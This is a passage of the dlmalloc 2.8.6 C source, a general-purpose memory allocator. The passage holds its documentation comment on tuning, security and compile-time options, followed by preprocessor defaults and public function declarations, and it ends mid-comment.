most common usage: ftp it, compile it (-O3), and link it into another program. All of the compile-time options default to reasonable values for use on most platforms. You might later want to step through various compile-time and dynamic tuning options. For convenience, an include file for code using this malloc is at: ftp://gee.cs.oswego.edu/pub/misc/malloc-2.8.6.h You don't really need this .h file unless you call functions not defined in your system include files. The .h file contains only the excerpts from this file needed for using this malloc on ANSI C/C++ systems, so long as you haven't changed compile-time options about naming and tuning parameters. If you do, then you can create your own malloc.h that does include all settings by cutting at the point indicated below. Note that you may already by default be using a C library containing a malloc that is based on some version of this malloc (for example in linux). You might still want to use the one in this file to customize settings or to avoid overheads associated with library versions. * Vital statistics: Supported pointer/size_t representation: 4 or 8 bytes size_t MUST be an unsigned type of the same width as pointers. (If you are using an ancient system that declares size_t as a signed type, or need it to be a different width than pointers, you can use a previous release of this malloc (e.g. 2.7.2) supporting these.) Alignment: 8 bytes (minimum) This suffices for nearly all current machines and C compilers. However, you can define MALLOC_ALIGNMENT to be wider than this if necessary (up to 128bytes), at the expense of using more space. Minimum overhead per allocated chunk: 4 or 8 bytes (if 4byte sizes) 8 or 16 bytes (if 8byte sizes) Each malloced chunk has a hidden word of overhead holding size and status information, and additional cross-check word if FOOTERS is defined. Minimum allocated size: 4-byte ptrs: 16 bytes (including overhead) 8-byte ptrs: 32 bytes (including overhead) Even a request for zero bytes (i.e., malloc(0)) returns a pointer to something of the minimum allocatable size. The maximum overhead wastage (i.e., number of extra bytes allocated than were requested in malloc) is less than or equal to the minimum size, except for requests >= mmap_threshold that are serviced via mmap(), where the worst case wastage is about 32 bytes plus the remainder from a system page (the minimal mmap unit); typically 4096 or 8192 bytes. Security: static-safe; optionally more or less The "security" of malloc refers to the ability of malicious code to accentuate the effects of errors (for example, freeing space that is not currently malloc'ed or overwriting past the ends of chunks) in code that calls malloc. This malloc guarantees not to modify any memory locations below the base of heap, i.e., static variables, even in the presence of usage errors. The routines additionally detect most improper frees and reallocs. All this holds as long as the static bookkeeping for malloc itself is not corrupted by some other means. This is only one aspect of security -- these checks do not, and cannot, detect all possible programming errors. If FOOTERS is defined nonzero, then each allocated chunk carries an additional check word to verify that it was malloced from its space. These check words are the same within each execution of a program using malloc, but differ across executions, so externally crafted fake chunks cannot be freed. This improves security by rejecting frees/reallocs that could corrupt heap memory, in addition to the checks preventing writes to statics that are always on. This may further improve security at the expense of time and space overhead. (Note that FOOTERS may also be worth using with MSPACES.) By default detected errors cause the program to abort (calling "abort()"). You can override this to instead proceed past errors by defining PROCEED_ON_ERROR. In this case, a bad free has no effect, and a malloc that encounters a bad address caused by user overwrites will ignore the bad address by dropping pointers and indices to all known memory. This may be appropriate for programs that should continue if at all possible in the face of programming errors, although they may run out of memory because dropped memory is never reclaimed. If you don't like either of these options, you can define CORRUPTION_ERROR_ACTION and USAGE_ERROR_ACTION to do anything else. And if if you are sure that your program using malloc has no errors or vulnerabilities, you can define INSECURE to 1, which might (or might not) provide a small performance improvement. It is also possible to limit the maximum total allocatable space, using malloc_set_footprint_limit. This is not designed as a security feature in itself (calls to set limits are not screened or privileged), but may be useful as one aspect of a secure implementation. Thread-safety: NOT thread-safe unless USE_LOCKS defined non-zero When USE_LOCKS is defined, each public call to malloc, free, etc is surrounded with a lock. By default, this uses a plain pthread mutex, win32 critical section, or a spin-lock if if available for the platform and not disabled by setting USE_SPIN_LOCKS=0. However, if USE_RECURSIVE_LOCKS is defined, recursive versions are used instead (which are not required for base functionality but may be needed in layered extensions). Using a global lock is not especially fast, and can be a major bottleneck. It is designed only to provide minimal protection in concurrent environments, and to provide a basis for extensions. If you are using malloc in a concurrent program, consider instead using nedmalloc (http://www.nedprod.com/programs/portable/nedmalloc/) or ptmalloc (See http://www.malloc.de), which are derived from versions of this malloc. System requirements: Any combination of MORECORE and/or MMAP/MUNMAP This malloc can use unix sbrk or any emulation (invoked using the CALL_MORECORE macro) and/or mmap/munmap or any emulation (invoked using CALL_MMAP/CALL_MUNMAP) to get and release system memory. On most unix systems, it tends to work best if both MORECORE and MMAP are enabled. On Win32, it uses emulations based on VirtualAlloc. It also uses common C library functions like memset. Compliance: I believe it is compliant with the Single Unix Specification (See http://www.unix.org). Also SVID/XPG, ANSI C, and probably others as well. * Overview of algorithms This is not the fastest, most space-conserving, most portable, or most tunable malloc ever written. However it is among the fastest while also being among the most space-conserving, portable and tunable. Consistent balance across these factors results in a good general-purpose allocator for malloc-intensive programs. In most ways, this malloc is a best-fit allocator. Generally, it chooses the best-fitting existing chunk for a request, with ties broken in approximately least-recently-used order. (This strategy normally maintains low fragmentation.) However, for requests less than 256bytes, it deviates from best-fit when there is not an exactly fitting available chunk by preferring to use space adjacent to that used for the previous small request, as well as by breaking ties in approximately most-recently-used order. (These enhance locality of series of small allocations.) And for very large requests (>= 256Kb by default), it relies on system memory mapping facilities, if supported. (This helps avoid carrying around and possibly fragmenting memory used only for large chunks.) All operations (except malloc_stats and mallinfo) have execution times that are bounded by a constant factor of the number of bits in a size_t, not counting any clearing in calloc or copying in realloc, or actions surrounding MORECORE and MMAP that have times proportional to the number of non-contiguous regions returned by system allocation routines, which is often just 1. In real-time applications, you can optionally suppress segment traversals using NO_SEGMENT_TRAVERSAL, which assures bounded execution even when system allocators return non-contiguous spaces, at the typical expense of carrying around more memory and increased fragmentation. The implementation is not very modular and seriously overuses macros. Perhaps someday all C compilers will do as good a job inlining modular code as can now be done by brute-force expansion, but now, enough of them seem not to. Some compilers issue a lot of warnings about code that is dead/unreachable only on some platforms, and also about intentional uses of negation on unsigned types. All known cases of each can be ignored. For a longer but out of date high-level description, see http://gee.cs.oswego.edu/dl/html/malloc.html * MSPACES If MSPACES is defined, then in addition to malloc, free, etc., this file also defines mspace_malloc, mspace_free, etc. These are versions of malloc routines that take an "mspace" argument obtained using create_mspace, to control all internal bookkeeping. If ONLY_MSPACES is defined, only these versions are compiled. So if you would like to use this allocator for only some allocations, and your system malloc for others, you can compile with ONLY_MSPACES and then do something like... static mspace mymspace = create_mspace(0,0); // for example #define mymalloc(bytes) mspace_malloc(mymspace, bytes) (Note: If you only need one instance of an mspace, you can instead use "USE_DL_PREFIX" to relabel the global malloc.) You can similarly create thread-local allocators by storing mspaces as thread-locals. For example: static __thread mspace tlms = 0; void* tlmalloc(size_t bytes) { if (tlms == 0) tlms = create_mspace(0, 0); return mspace_malloc(tlms, bytes); } void tlfree(void* mem) { mspace_free(tlms, mem); } Unless FOOTERS is defined, each mspace is completely independent. You cannot allocate from one and free to another (although conformance is only weakly checked, so usage errors are not always caught). If FOOTERS is defined, then each chunk carries around a tag indicating its originating mspace, and frees are directed to their originating spaces. Normally, this requires use of locks. ------------------------- Compile-time options --------------------------- Be careful in setting #define values for numerical constants of type size_t. On some systems, literal values are not automatically extended to size_t precision unless they are explicitly casted. You can also use the symbolic values MAX_SIZE_T, SIZE_T_ONE, etc below. WIN32 default: defined if _WIN32 defined Defining WIN32 sets up defaults for MS environment and compilers. Otherwise defaults are for unix. Beware that there seem to be some cases where this malloc might not be a pure drop-in replacement for Win32 malloc: Random-looking failures from Win32 GDI API's (eg; SetDIBits()) may be due to bugs in some video driver implementations when pixel buffers are malloc()ed, and the region spans more than one VirtualAlloc()ed region. Because dlmalloc uses a small (64Kb) default granularity, pixel buffers may straddle virtual allocation regions more often than when using the Microsoft allocator. You can avoid this by using VirtualAlloc() and VirtualFree() for all pixel buffers rather than using malloc(). If this is not possible, recompile this malloc with a larger DEFAULT_GRANULARITY. Note: in cases where MSC and gcc (cygwin) are known to differ on WIN32, conditions use _MSC_VER to distinguish them. DLMALLOC_EXPORT default: extern Defines how public APIs are declared. If you want to export via a Windows DLL, you might define this as #define DLMALLOC_EXPORT extern __declspec(dllexport) If you want a POSIX ELF shared object, you might use #define DLMALLOC_EXPORT extern __attribute__((visibility("default"))) MALLOC_ALIGNMENT default: (size_t)(2 * sizeof(void *)) Controls the minimum alignment for malloc'ed chunks. It must be a power of two and at least 8, even on machines for which smaller alignments would suffice. It may be defined as larger than this though. Note however that code and data structures are optimized for the case of 8-byte alignment. MSPACES default: 0 (false) If true, compile in support for independent allocation spaces. This is only supported if HAVE_MMAP is true. ONLY_MSPACES default: 0 (false) If true, only compile in mspace versions, not regular versions. USE_LOCKS default: 0 (false) Causes each call to each public routine to be surrounded with pthread or WIN32 mutex lock/unlock. (If set true, this can be overridden on a per-mspace basis for mspace versions.) If set to a non-zero value other than 1, locks are used, but their implementation is left out, so lock functions must be supplied manually, as described below. USE_SPIN_LOCKS default: 1 iff USE_LOCKS and spin locks available If true, uses custom spin locks for locking. This is currently supported only gcc >= 4.1, older gccs on x86 platforms, and recent MS compilers. Otherwise, posix locks or win32 critical sections are used. USE_RECURSIVE_LOCKS default: not defined If defined nonzero, uses recursive (aka reentrant) locks, otherwise uses plain mutexes. This is not required for malloc proper, but may be needed for layered allocators such as nedmalloc. LOCK_AT_FORK default: not defined If defined nonzero, performs pthread_atfork upon initialization to initialize child lock while holding parent lock. The implementation assumes that pthread locks (not custom locks) are being used. In other cases, you may need to customize the implementation. FOOTERS default: 0 If true, provide extra checking and dispatching by placing information in the footers of allocated chunks. This adds space and time overhead. INSECURE default: 0 If true, omit checks for usage errors and heap space overwrites. USE_DL_PREFIX default: NOT defined Causes compiler to prefix all public routines with the string 'dl'. This can be useful when you only want to use this malloc in one part of a program, using your regular system malloc elsewhere. MALLOC_INSPECT_ALL default: NOT defined If defined, compiles malloc_inspect_all and mspace_inspect_all, that perform traversal of all heap space. Unless access to these functions is otherwise restricted, you probably do not want to include them in secure implementations. ABORT default: defined as abort() Defines how to abort on failed checks. On most systems, a failed check cannot die with an "assert" or even print an informative message, because the underlying print routines in turn call malloc, which will fail again. Generally, the best policy is to simply call abort(). It's not very useful to do more than this because many errors due to overwriting will show up as address faults (null, odd addresses etc) rather than malloc-triggered checks, so will also abort. Also, most compilers know that abort() does not return, so can better optimize code conditionally calling it. PROCEED_ON_ERROR default: defined as 0 (false) Controls whether detected bad addresses cause them to bypassed rather than aborting. If set, detected bad arguments to free and realloc are ignored. And all bookkeeping information is zeroed out upon a detected overwrite of freed heap space, thus losing the ability to ever return it from malloc again, but enabling the application to proceed. If PROCEED_ON_ERROR is defined, the static variable malloc_corruption_error_count is compiled in and can be examined to see if errors have occurred. This option generates slower code than the default abort policy. DEBUG default: NOT defined The DEBUG setting is mainly intended for people trying to modify this code or diagnose problems when porting to new platforms. However, it may also be able to better isolate user errors than just using runtime checks. The assertions in the check routines spell out in more detail the assumptions and invariants underlying the algorithms. The checking is fairly extensive, and will slow down execution noticeably. Calling malloc_stats or mallinfo with DEBUG set will attempt to check every non-mmapped allocated and free chunk in the course of computing the summaries. ABORT_ON_ASSERT_FAILURE default: defined as 1 (true) Debugging assertion failures can be nearly impossible if your version of the assert macro causes malloc to be called, which will lead to a cascade of further failures, blowing the runtime stack. ABORT_ON_ASSERT_FAILURE cause assertions failures to call abort(), which will usually make debugging easier. MALLOC_FAILURE_ACTION default: sets errno to ENOMEM, or no-op on win32 The action to take before "return 0" when malloc fails to be able to return memory because there is none available. HAVE_MORECORE default: 1 (true) unless win32 or ONLY_MSPACES True if this system supports sbrk or an emulation of it. MORECORE default: sbrk The name of the sbrk-style system routine to call to obtain more memory. See below for guidance on writing custom MORECORE functions. The type of the argument to sbrk/MORECORE varies across systems. It cannot be size_t, because it supports negative arguments, so it is normally the signed type of the same width as size_t (sometimes declared as "intptr_t"). It doesn't much matter though. Internally, we only call it with arguments less than half the max value of a size_t, which should work across all reasonable possibilities, although sometimes generating compiler warnings. MORECORE_CONTIGUOUS default: 1 (true) if HAVE_MORECORE If true, take advantage of fact that consecutive calls to MORECORE with positive arguments always return contiguous increasing addresses. This is true of unix sbrk. It does not hurt too much to set it true anyway, since malloc copes with non-contiguities. Setting it false when definitely non-contiguous saves time and possibly wasted space it would take to discover this though. MORECORE_CANNOT_TRIM default: NOT defined True if MORECORE cannot release space back to the system when given negative arguments. This is generally necessary only if you are using a hand-crafted MORECORE function that cannot handle negative arguments. NO_SEGMENT_TRAVERSAL default: 0 If non-zero, suppresses traversals of memory segments returned by either MORECORE or CALL_MMAP. This disables merging of segments that are contiguous, and selectively releasing them to the OS if unused, but bounds execution times. HAVE_MMAP default: 1 (true) True if this system supports mmap or an emulation of it. If so, and HAVE_MORECORE is not true, MMAP is used for all system allocation. If set and HAVE_MORECORE is true as well, MMAP is primarily used to directly allocate very large blocks. It is also used as a backup strategy in cases where MORECORE fails to provide space from system. Note: A single call to MUNMAP is assumed to be able to unmap memory that may have be allocated using multiple calls to MMAP, so long as they are adjacent. HAVE_MREMAP default: 1 on linux, else 0 If true realloc() uses mremap() to re-allocate large blocks and extend or shrink allocation spaces. MMAP_CLEARS default: 1 except on WINCE. True if mmap clears memory so calloc doesn't need to. This is true for standard unix mmap using /dev/zero and on WIN32 except for WINCE. USE_BUILTIN_FFS default: 0 (i.e., not used) Causes malloc to use the builtin ffs() function to compute indices. Some compilers may recognize and intrinsify ffs to be faster than the supplied C version. Also, the case of x86 using gcc is special-cased to an asm instruction, so is already as fast as it can be, and so this setting has no effect. Similarly for Win32 under recent MS compilers. (On most x86s, the asm version is only slightly faster than the C version.) malloc_getpagesize default: derive from system includes, or 4096. The system page size. To the extent possible, this malloc manages memory from the system in page-size units. This may be (and usually is) a function rather than a constant. This is ignored if WIN32, where page size is determined using getSystemInfo during initialization. USE_DEV_RANDOM default: 0 (i.e., not used) Causes malloc to use /dev/random to initialize secure magic seed for stamping footers. Otherwise, the current time is used. NO_MALLINFO default: 0 If defined, don't compile "mallinfo". This can be a simple way of dealing with mismatches between system declarations and those in this file. MALLINFO_FIELD_TYPE default: size_t The type of the fields in the mallinfo struct. This was originally defined as "int" in SVID etc, but is more usefully defined as size_t. The value is used only if HAVE_USR_INCLUDE_MALLOC_H is not set NO_MALLOC_STATS default: 0 If defined, don't compile "malloc_stats". This avoids calls to fprintf and bringing in stdio dependencies you might not want. REALLOC_ZERO_BYTES_FREES default: not defined This should be set if a call to realloc with zero bytes should be the same as a call to free. Some people think it should. Otherwise, since this malloc returns a unique pointer for malloc(0), so does realloc(p, 0). LACKS_UNISTD_H, LACKS_FCNTL_H, LACKS_SYS_PARAM_H, LACKS_SYS_MMAN_H LACKS_STRINGS_H, LACKS_STRING_H, LACKS_SYS_TYPES_H, LACKS_ERRNO_H LACKS_STDLIB_H LACKS_SCHED_H LACKS_TIME_H default: NOT defined unless on WIN32 Define these if your system does not have these header files. You might need to manually insert some of the declarations they provide. DEFAULT_GRANULARITY default: page size if MORECORE_CONTIGUOUS, system_info.dwAllocationGranularity in WIN32, otherwise 64K. Also settable using mallopt(M_GRANULARITY, x) The unit for allocating and deallocating memory from the system. On most systems with contiguous MORECORE, there is no reason to make this more than a page. However, systems with MMAP tend to either require or encourage larger granularities. You can increase this value to prevent system allocation functions to be called so often, especially if they are slow. The value must be at least one page and must be a power of two. Setting to 0 causes initialization to either page size or win32 region size. (Note: In previous versions of malloc, the equivalent of this option was called "TOP_PAD") DEFAULT_TRIM_THRESHOLD default: 2MB Also settable using mallopt(M_TRIM_THRESHOLD, x) The maximum amount of unused top-most memory to keep before releasing via malloc_trim in free(). Automatic trimming is mainly useful in long-lived programs using contiguous MORECORE. Because trimming via sbrk can be slow on some systems, and can sometimes be wasteful (in cases where programs immediately afterward allocate more large chunks) the value should be high enough so that your overall system performance would improve by releasing this much memory. As a rough guide, you might set to a value close to the average size of a process (program) running on your system. Releasing this much memory would allow such a process to run in memory. Generally, it is worth tuning trim thresholds when a program undergoes phases where several large chunks are allocated and released in ways that can reuse each other's storage, perhaps mixed with phases where there are no such chunks at all. The trim value must be greater than page size to have any useful effect. To disable trimming completely, you can set to MAX_SIZE_T. Note that the trick some people use of mallocing a huge space and then freeing it at program startup, in an attempt to reserve system memory, doesn't have the intended effect under automatic trimming, since that memory will immediately be returned to the system. DEFAULT_MMAP_THRESHOLD default: 256K Also settable using mallopt(M_MMAP_THRESHOLD, x) The request size threshold for using MMAP to directly service a request. Requests of at least this size that cannot be allocated using already-existing space will be serviced via mmap. (If enough normal freed space already exists it is used instead.) Using mmap segregates relatively large chunks of memory so that they can be individually obtained and released from the host system. A request serviced through mmap is never reused by any other request (at least not directly; the system may just so happen to remap successive requests to the same locations). Segregating space in this way has the benefits that: Mmapped space can always be individually released back to the system, which helps keep the system level memory demands of a long-lived program low. Also, mapped memory doesn't become `locked' between other chunks, as can happen with normally allocated chunks, which means that even trimming via malloc_trim would not release them. However, it has the disadvantage that the space cannot be reclaimed, consolidated, and then used to service later requests, as happens with normal chunks. The advantages of mmap nearly always outweigh disadvantages for "large" chunks, but the value of "large" may vary across systems. The default is an empirically derived value that works well in most systems. You can disable mmap by setting to MAX_SIZE_T. MAX_RELEASE_CHECK_RATE default: 4095 unless not HAVE_MMAP The number of consolidated frees between checks to release unused segments when freeing. When using non-contiguous segments, especially with multiple mspaces, checking only for topmost space doesn't always suffice to trigger trimming. To compensate for this, free() will, with a period of MAX_RELEASE_CHECK_RATE (or the current number of segments, if greater) try to release unused segments to the OS when freeing chunks that result in consolidation. The best value for this parameter is a compromise between slowing down frees with relatively costly checks that rarely trigger versus holding on to unused memory. To effectively disable, set to MAX_SIZE_T. This may lead to a very slight speed improvement at the expense of carrying around more memory. */ /* Version identifier to allow people to support multiple versions */ #ifndef DLMALLOC_VERSION #define DLMALLOC_VERSION 20806 #endif /* DLMALLOC_VERSION */ #ifndef DLMALLOC_EXPORT #define DLMALLOC_EXPORT extern #endif #ifndef WIN32 #ifdef _WIN32 #define WIN32 1 #endif /* _WIN32 */ #ifdef _WIN32_WCE #define LACKS_FCNTL_H #define WIN32 1 #endif /* _WIN32_WCE */ #endif /* WIN32 */ #ifdef WIN32 #define WIN32_LEAN_AND_MEAN #include #include #define HAVE_MMAP 1 #define HAVE_MORECORE 0 #define LACKS_UNISTD_H #define LACKS_SYS_PARAM_H #define LACKS_SYS_MMAN_H #define LACKS_STRING_H #define LACKS_STRINGS_H #define LACKS_SYS_TYPES_H #define LACKS_ERRNO_H #define LACKS_SCHED_H #ifndef MALLOC_FAILURE_ACTION #define MALLOC_FAILURE_ACTION #endif /* MALLOC_FAILURE_ACTION */ #ifndef MMAP_CLEARS #ifdef _WIN32_WCE /* WINCE reportedly does not clear */ #define MMAP_CLEARS 0 #else #define MMAP_CLEARS 1 #endif /* _WIN32_WCE */ #endif /*MMAP_CLEARS */ #endif /* WIN32 */ #if defined(DARWIN) || defined(_DARWIN) /* Mac OSX docs advise not to use sbrk; it seems better to use mmap */ #ifndef HAVE_MORECORE #define HAVE_MORECORE 0 #define HAVE_MMAP 1 /* OSX allocators provide 16 byte alignment */ #ifndef MALLOC_ALIGNMENT #define MALLOC_ALIGNMENT ((size_t)16U) #endif #endif /* HAVE_MORECORE */ #endif /* DARWIN */ #ifndef LACKS_SYS_TYPES_H #include /* For size_t */ #endif /* LACKS_SYS_TYPES_H */ /* The maximum possible size_t value has all bits set */ #define MAX_SIZE_T (~(size_t)0) #ifndef USE_LOCKS /* ensure true if spin or recursive locks set */ #if ((defined(USE_SPIN_LOCKS) && USE_SPIN_LOCKS != 0) || \ (defined(USE_RECURSIVE_LOCKS) && USE_RECURSIVE_LOCKS != 0)) #define USE_LOCKS 1 #else #define USE_LOCKS 0 #endif #endif /* USE_LOCKS */ #if USE_LOCKS /* Spin locks for gcc >= 4.1, older gcc on x86, MSC >= 1310 */ #if ((defined(__GNUC__) && \ ((__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 1)) || \ defined(__i386__) || defined(__x86_64__))) || \ (defined(_MSC_VER) && _MSC_VER>=1310)) #ifndef USE_SPIN_LOCKS #define USE_SPIN_LOCKS 1 #endif /* USE_SPIN_LOCKS */ #elif USE_SPIN_LOCKS #error "USE_SPIN_LOCKS defined without implementation" #endif /* ... locks available... */ #elif !defined(USE_SPIN_LOCKS) #define USE_SPIN_LOCKS 0 #endif /* USE_LOCKS */ #ifndef ONLY_MSPACES #define ONLY_MSPACES 0 #endif /* ONLY_MSPACES */ #ifndef MSPACES #if ONLY_MSPACES #define MSPACES 1 #else /* ONLY_MSPACES */ #define MSPACES 0 #endif /* ONLY_MSPACES */ #endif /* MSPACES */ #ifndef MALLOC_ALIGNMENT #define MALLOC_ALIGNMENT ((size_t)(2 * sizeof(void *))) #endif /* MALLOC_ALIGNMENT */ #ifndef FOOTERS #define FOOTERS 0 #endif /* FOOTERS */ #ifndef ABORT #define ABORT abort() #endif /* ABORT */ #ifndef ABORT_ON_ASSERT_FAILURE #define ABORT_ON_ASSERT_FAILURE 1 #endif /* ABORT_ON_ASSERT_FAILURE */ #ifndef PROCEED_ON_ERROR #define PROCEED_ON_ERROR 0 #endif /* PROCEED_ON_ERROR */ #ifndef INSECURE #define INSECURE 0 #endif /* INSECURE */ #ifndef MALLOC_INSPECT_ALL #define MALLOC_INSPECT_ALL 0 #endif /* MALLOC_INSPECT_ALL */ #ifndef HAVE_MMAP #define HAVE_MMAP 1 #endif /* HAVE_MMAP */ #ifndef MMAP_CLEARS #define MMAP_CLEARS 1 #endif /* MMAP_CLEARS */ #ifndef HAVE_MREMAP #ifdef linux #define HAVE_MREMAP 1 #define _GNU_SOURCE /* Turns on mremap() definition */ #else /* linux */ #define HAVE_MREMAP 0 #endif /* linux */ #endif /* HAVE_MREMAP */ #ifndef MALLOC_FAILURE_ACTION #define MALLOC_FAILURE_ACTION errno = ENOMEM; #endif /* MALLOC_FAILURE_ACTION */ #ifndef HAVE_MORECORE #if ONLY_MSPACES #define HAVE_MORECORE 0 #else /* ONLY_MSPACES */ #define HAVE_MORECORE 1 #endif /* ONLY_MSPACES */ #endif /* HAVE_MORECORE */ #if !HAVE_MORECORE #define MORECORE_CONTIGUOUS 0 #else /* !HAVE_MORECORE */ #define MORECORE_DEFAULT sbrk #ifndef MORECORE_CONTIGUOUS #define MORECORE_CONTIGUOUS 1 #endif /* MORECORE_CONTIGUOUS */ #endif /* HAVE_MORECORE */ #ifndef DEFAULT_GRANULARITY #if (MORECORE_CONTIGUOUS || defined(WIN32)) #define DEFAULT_GRANULARITY (0) /* 0 means to compute in init_mparams */ #else /* MORECORE_CONTIGUOUS */ #define DEFAULT_GRANULARITY ((size_t)64U * (size_t)1024U) #endif /* MORECORE_CONTIGUOUS */ #endif /* DEFAULT_GRANULARITY */ #ifndef DEFAULT_TRIM_THRESHOLD #ifndef MORECORE_CANNOT_TRIM #define DEFAULT_TRIM_THRESHOLD ((size_t)2U * (size_t)1024U * (size_t)1024U) #else /* MORECORE_CANNOT_TRIM */ #define DEFAULT_TRIM_THRESHOLD MAX_SIZE_T #endif /* MORECORE_CANNOT_TRIM */ #endif /* DEFAULT_TRIM_THRESHOLD */ #ifndef DEFAULT_MMAP_THRESHOLD #if HAVE_MMAP #define DEFAULT_MMAP_THRESHOLD ((size_t)256U * (size_t)1024U) #else /* HAVE_MMAP */ #define DEFAULT_MMAP_THRESHOLD MAX_SIZE_T #endif /* HAVE_MMAP */ #endif /* DEFAULT_MMAP_THRESHOLD */ #ifndef MAX_RELEASE_CHECK_RATE #if HAVE_MMAP #define MAX_RELEASE_CHECK_RATE 4095 #else #define MAX_RELEASE_CHECK_RATE MAX_SIZE_T #endif /* HAVE_MMAP */ #endif /* MAX_RELEASE_CHECK_RATE */ #ifndef USE_BUILTIN_FFS #define USE_BUILTIN_FFS 0 #endif /* USE_BUILTIN_FFS */ #ifndef USE_DEV_RANDOM #define USE_DEV_RANDOM 0 #endif /* USE_DEV_RANDOM */ #ifndef NO_MALLINFO #define NO_MALLINFO 0 #endif /* NO_MALLINFO */ #ifndef MALLINFO_FIELD_TYPE #define MALLINFO_FIELD_TYPE size_t #endif /* MALLINFO_FIELD_TYPE */ #ifndef NO_MALLOC_STATS #define NO_MALLOC_STATS 0 #endif /* NO_MALLOC_STATS */ #ifndef NO_SEGMENT_TRAVERSAL #define NO_SEGMENT_TRAVERSAL 0 #endif /* NO_SEGMENT_TRAVERSAL */ /* mallopt tuning options. SVID/XPG defines four standard parameter numbers for mallopt, normally defined in malloc.h. None of these are used in this malloc, so setting them has no effect. But this malloc does support the following options. */ #define M_TRIM_THRESHOLD (-1) #define M_GRANULARITY (-2) #define M_MMAP_THRESHOLD (-3) /* ------------------------ Mallinfo declarations ------------------------ */ #if !NO_MALLINFO /* This version of malloc supports the standard SVID/XPG mallinfo routine that returns a struct containing usage properties and statistics. It should work on any system that has a /usr/include/malloc.h defining struct mallinfo. The main declaration needed is the mallinfo struct that is returned (by-copy) by mallinfo(). The malloinfo struct contains a bunch of fields that are not even meaningful in this version of malloc. These fields are are instead filled by mallinfo() with other numbers that might be of interest. HAVE_USR_INCLUDE_MALLOC_H should be set if you have a /usr/include/malloc.h file that includes a declaration of struct mallinfo. If so, it is included; else a compliant version is declared below. These must be precisely the same for mallinfo() to work. The original SVID version of this struct, defined on most systems with mallinfo, declares all fields as ints. But some others define as unsigned long. If your system defines the fields using a type of different width than listed here, you MUST #include your system version and #define HAVE_USR_INCLUDE_MALLOC_H. */ /* #define HAVE_USR_INCLUDE_MALLOC_H */ #ifdef HAVE_USR_INCLUDE_MALLOC_H #include "/usr/include/malloc.h" #else /* HAVE_USR_INCLUDE_MALLOC_H */ #ifndef STRUCT_MALLINFO_DECLARED /* HP-UX (and others?) redefines mallinfo unless _STRUCT_MALLINFO is defined */ #define _STRUCT_MALLINFO #define STRUCT_MALLINFO_DECLARED 1 struct mallinfo { MALLINFO_FIELD_TYPE arena; /* non-mmapped space allocated from system */ MALLINFO_FIELD_TYPE ordblks; /* number of free chunks */ MALLINFO_FIELD_TYPE smblks; /* always 0 */ MALLINFO_FIELD_TYPE hblks; /* always 0 */ MALLINFO_FIELD_TYPE hblkhd; /* space in mmapped regions */ MALLINFO_FIELD_TYPE usmblks; /* maximum total allocated space */ MALLINFO_FIELD_TYPE fsmblks; /* always 0 */ MALLINFO_FIELD_TYPE uordblks; /* total allocated space */ MALLINFO_FIELD_TYPE fordblks; /* total free space */ MALLINFO_FIELD_TYPE keepcost; /* releasable (via malloc_trim) space */ }; #endif /* STRUCT_MALLINFO_DECLARED */ #endif /* HAVE_USR_INCLUDE_MALLOC_H */ #endif /* NO_MALLINFO */ /* Try to persuade compilers to inline. The most critical functions for inlining are defined as macros, so these aren't used for them. */ #ifndef FORCEINLINE #if defined(__GNUC__) #define FORCEINLINE __inline __attribute__ ((always_inline)) #elif defined(_MSC_VER) #define FORCEINLINE __forceinline #endif #endif #ifndef NOINLINE #if defined(__GNUC__) #define NOINLINE __attribute__ ((noinline)) #elif defined(_MSC_VER) #define NOINLINE __declspec(noinline) #else #define NOINLINE #endif #endif #ifdef __cplusplus extern "C" { #ifndef FORCEINLINE #define FORCEINLINE inline #endif #endif /* __cplusplus */ #ifndef FORCEINLINE #define FORCEINLINE #endif #if !ONLY_MSPACES /* ------------------- Declarations of public routines ------------------- */ #ifndef USE_DL_PREFIX #define dlcalloc calloc #define dlfree free #define dlmalloc malloc #define dlmemalign memalign #define dlposix_memalign posix_memalign #define dlrealloc realloc #define dlrealloc_in_place realloc_in_place #define dlvalloc valloc #define dlpvalloc pvalloc #define dlmallinfo mallinfo #define dlmallopt mallopt #define dlmalloc_trim malloc_trim #define dlmalloc_stats malloc_stats #define dlmalloc_usable_size malloc_usable_size #define dlmalloc_footprint malloc_footprint #define dlmalloc_max_footprint malloc_max_footprint #define dlmalloc_footprint_limit malloc_footprint_limit #define dlmalloc_set_footprint_limit malloc_set_footprint_limit #define dlmalloc_inspect_all malloc_inspect_all #define dlindependent_calloc independent_calloc #define dlindependent_comalloc independent_comalloc #define dlbulk_free bulk_free #endif /* USE_DL_PREFIX */ /* malloc(size_t n) Returns a pointer to a newly allocated chunk of at least n bytes, or null if no space is available, in which case errno is set to ENOMEM on ANSI C systems. If n is zero, malloc returns a minimum-sized chunk. (The minimum size is 16 bytes on most 32bit systems, and 32 bytes on 64bit systems.) Note that size_t is an unsigned type, so calls with arguments that would be negative if signed are interpreted as requests for huge amounts of space, which will often fail. The maximum supported value of n differs across systems, but is in all cases less than the maximum representable value of a size_t. */ DLMALLOC_EXPORT void* dlmalloc(size_t); /* free(void* p) Releases the chunk of memory pointed to by p, that had been previously allocated using malloc or a related routine such as realloc. It has no effect if p is null. If p was not malloced or already freed, free(p) will by default cause the current program to abort. */ DLMALLOC_EXPORT void dlfree(void*); /* calloc(size_t n_elements, size_t element_size); Returns a pointer to n_elements * element_size bytes, with all locations set to zero. */ DLMALLOC_EXPORT void* dlcalloc(size_t, size_t); /* realloc(void* p, size_t n) Returns a pointer to a chunk of size n that contains the same data as does chunk p up to the minimum of (n, p's size) bytes, or null if no space is available. The returned pointer may or may not be the same as p. The algorithm prefers extending p in most cases when possible, otherwise it employs the equivalent of a malloc-copy-free sequence. If p is null, realloc is equivalent to malloc. If space is not available, realloc returns null, errno is set (if on ANSI) and p is NOT freed. if n is for fewer bytes than already held by p, the newly unused space is lopped off and freed if possible. realloc with a size argument of zero (re)allocates a minimum-sized chunk. The old unix realloc convention of allowing the last-free'd chunk to be used as an argument to realloc is not supported. */ DLMALLOC_EXPORT void* dlrealloc(void*, size_t); /* realloc_in_place(void* p, size_t n) Resizes the space allocated for p to size n, only if this can be done without moving p (i.e., only if there is adjacent space available if n is greater than p's current allocated size, or n is less than or equal to p's size). This may be used instead of plain realloc if an alternative allocation strategy is needed upon failure to expand space; for example, reallocation of a buffer that must be memory-aligned or cleared. You can use realloc_in_place to trigger these alternatives only when needed. Returns p if successful; otherwise null. */ DLMALLOC_EXPORT void* dlrealloc_in_place(void*, size_t); /* memalign(size_t alignment, size_t n); Returns a pointer to a newly allocated chunk of n bytes, aligned in accord with the alignment argument. The alignment argument should be a power of two. If the argument is not a power of two, the nearest 